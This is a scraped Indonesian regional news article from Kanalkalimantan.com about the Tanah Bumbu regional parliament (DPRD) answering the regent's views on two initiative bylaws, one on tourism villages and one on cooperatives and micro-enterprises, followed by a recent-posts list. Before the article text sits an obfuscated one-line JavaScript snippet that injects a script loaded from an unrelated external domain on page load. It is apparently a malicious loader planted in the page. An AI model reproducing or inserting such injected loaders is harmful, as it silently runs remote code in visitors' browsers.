(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

DPRD Tanbu Gelar Paripurna Jawaban Atas Dua Raperda Inisiatif


KANALKALIMANTAN.COM, BATULICIN – DPRD Kabupaten Tanah Bumbu (Tanbu) menggelar rapat paripurna penyampaian jawaban legislatif atas pendapat Bupati terhadap dua Raperda inisiatif, Senin (18/7/2022) siang.

Ketua DPRD Tanbu yang diwakili Wakil Ketua II Agoes Rakhmadi menyampaikan apresiasi terhadap eksekutif yang telah memberikan tanggapan positif atas dua Raperda yang diinisiasi oleh DPRD Tanbu.

Pertama terkait dengan Raperda Tentang Desa Wisata, pihaknya sepakat dengan pendapat pihak eksekutif bahwa Raperda itu diharapkan mempunyai peranan penting untuk memajukan kesejahteraan masyarakat.

Melalui pemerataan kesempatan berusaha dan lapangan kerja, optimalisasi potensi ekonomi dan karakteristik desa, serta mengangkat dan melindungi nilai budaya agama adat istiadat, dan serta menjaga kelestarian alam.

 

Baca juga  : Pasukan Lanal Kotabaru ‘Serbu’ Pantai Sarang Tiung 

Selain itu penekanan-penekanan substansi Raperda Tentang Desa Wisata ini, tentunya untuk meningkatkan pemberdayaan desa melalui peningkatan pengetahuan, sikap, keterampilan, perilaku, kemampuan, kesadaran serta pemanfaatan sumber daya melalui penetapan kebijakan program kegiatan dan pendampingan yang sesuai dengan prioritas kebutuhan masyarakat Kabupaten Tanah Bumbu.

Kemudian terkait pendapat eksekutif terhadap Raperda Penyelenggaraan Kemudahan, Perlindungan, dan Pemberdayaan Koperasi dan Usaha Mikro. Raperda ini diharapkan pihak legislatif dapat menumbuhkan kembangkan koperasi dan usaha mikro.

“Pemerintah daerah nantinya harus mengeluarkan kebijakan, dalam mendorong dan memberikan kemudahan perlindungan dan pemberdayaan koperasi dan usaha mikro serta peluang berusaha di Kabupaten Tanah Bumbu,” katanya.

Namun, meski pihak eksekutif telah menerima dua buah Raperda inisiatif dari DPRD Tanah Bumbu, pihak legislatif secara terbuka masih membutuhkan masukan dan saran yang dapat disampaikan pada tahapan pembahasan selanjutnya. Hal ini agar dua buah Raperda ini bisa semakin baik dan berjalan secara maksimal.

Baca juga : Job Fair Banjarbaru 2022 Dibuka, 20 Perusahaan Tawarkan 392 Lowongan Kerja

“Pendapatan eksekutif termasuk semua masukan dan saran terhadap dua buah raperda inisiatif ini nantinya, akan menjadi bahan untuk menyempurnakan Raperda ini, sehingga melalui Bapemperda DPRD Kabupaten Tanah Bumbu, dua buah Raperda ini akan dilakukan pembahasan dalam agenda pembahasan selanjutnya,” kata Agoes. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

9 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

11 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

15 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

19 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

20 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

2 hari ago

This website uses cookies.